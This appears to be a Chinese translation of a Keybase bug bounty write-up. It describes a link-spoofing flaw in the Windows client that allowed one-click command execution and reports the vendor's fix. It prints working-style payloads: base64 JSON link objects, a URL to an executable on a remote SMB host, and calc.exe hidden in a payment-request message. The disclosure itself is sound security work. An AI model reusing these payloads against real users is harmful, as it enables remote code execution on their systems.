Bug Bounty:Keybase一键式RCE
TL;DR
用户可以key客户端对话框中发送任意聊天链接。在Windows平台中，通过key客户端给受害者发送一个明显无害的链接，当单击该链接时，可以在受害者系统上执行任意命令。
key介绍
key类似于slack，是一个用来聊天、文件共享的软件，但它的安全防护明显更胜一筹。 Key上的一切都被加密了，让用户在云上同步私人文件的时候可以放一百个心。
由于它的安全特性和NCC Group的安全审计结果，我成为了一名忠实的Key用户。
恍然发现1.0——bug初显
在我的一次聊天中，我突然发现了一个奇怪的key反应。我向@Th3Zer0和@Paupu_95发送了一个电子邮件地址，我用两个反引号括起来了这个地址，
`
`email@domain.tld`但我发送出去的时候，文本转换成了这个丫子
`$>kb$eyJ0eXAiOjUsIm1haWx0byI6eyJkaXNwbGF5IjoiZW1haWxAZG9tYWluLnRsZCIsInVybCI6Im1haWx0bzplbWFpbEBkb21haW4udGxkIiwicHVueWNvZGUiOiIifX0=$<kb$习惯使用64编码的人可能已经注意到字符串的“ey”开头，这说明这里存在一个64编码的JSON字符串：
{"typ":5"mailto":{"display":"email@domain.tld""url":"mailto:email@domain.tld""punycode":""}}.作为一名安全行业从业人员，这种发现立即挑拨了我们的心弦，接下来的对话就是各种反引号和各种URI，我们发现http URI也是以同样的方式被窃听的。
如果？
如果我们可以创建以下格式的链接，会发生神马？
{"typ":4"":{"display":"http://shielder.it""url":"http://evil.it""punycode":""}}我尝试了很多方法，但都失败了。
通过key GUI client发送$>kb$<64_string>$<kb$。
通过key CLI client发送$>kb$<64_string>$<kb$。
通过key mobile client发送$>kb$<64_string>$<kb$
恍然发现2.0——bug再探
粘贴了多次payload后，key客户端显示，由于消息太长，此消息发送失败，请取消发送或重新编辑。
但
$>kb$eyJ0eXAiOjQsImxpbmsiOnsiZGlzcGxheSI6Imh0dHA6Ly9zaGllbGRlci5pdCIsInVybCI6Imh0dHA6Ly9ldmlsLml0IiwicHVueWNvZGUiOiIifX0=$<kb$字符串已经转化为http://shielder.it，点击URL会访问http://evil.it!!!!
在几秒钟的欣喜若狂之后，我意识到了令人不安的真相。
最妙的是，我还意识到，在windows客户端中，我可以通过将本地可执行文件的路径设置为url，或者将位于SMB服务器上的文件的路径设置为url来实现命令执行。
{“typ”:4””:{“display”:”http://shielder.it””url”:”\\\\1.3.3.7\\tmp\\a.exe””punycode”:””}}0.1337 XLM for RCE
payload在手，心不抖。我考虑key所有的功能，找到利用漏洞的绝佳位置。
这里就要用到了Lumens! Lumens是由Stella开发并完全集成在keyd客户端中的加密货币。用户可以轻松地发送/接收XLM，也可以在聊天中发送付款请求。
支付请求允许设置自定义消息，这就是漏洞利用的绝佳位置！
{“typ”:4””:{“display”:”http://shielder.it””url”:”C:\\windows\\system32\\calc.exe””punycode”:””}}shell
一键式RCE get!只要用户点击我的链接，我就可以在他们的系统上执行任意命令。
Bounty
与其他公司一样，key也有赏金计划，这是他们给我的回复
不幸的是有人在我之前报告了URL欺骗情况，但是这个人认为URL欺骗不能实现RCE。
然后我请求@maxtaco和@cjb与我分享key测试版，验证他们修复的版本是不是可以防止RCE。
具体修复措施
删除display字段
如果url”字段不是以http（s）：//开头，自动加上http：//。
即使没有得到赏金，我也愿意与Key合作，他们在整个漏洞报告以及修复的过程表现的非常专业。
原文：https://www.shielder.it/blog/1-click-rce-on-key/
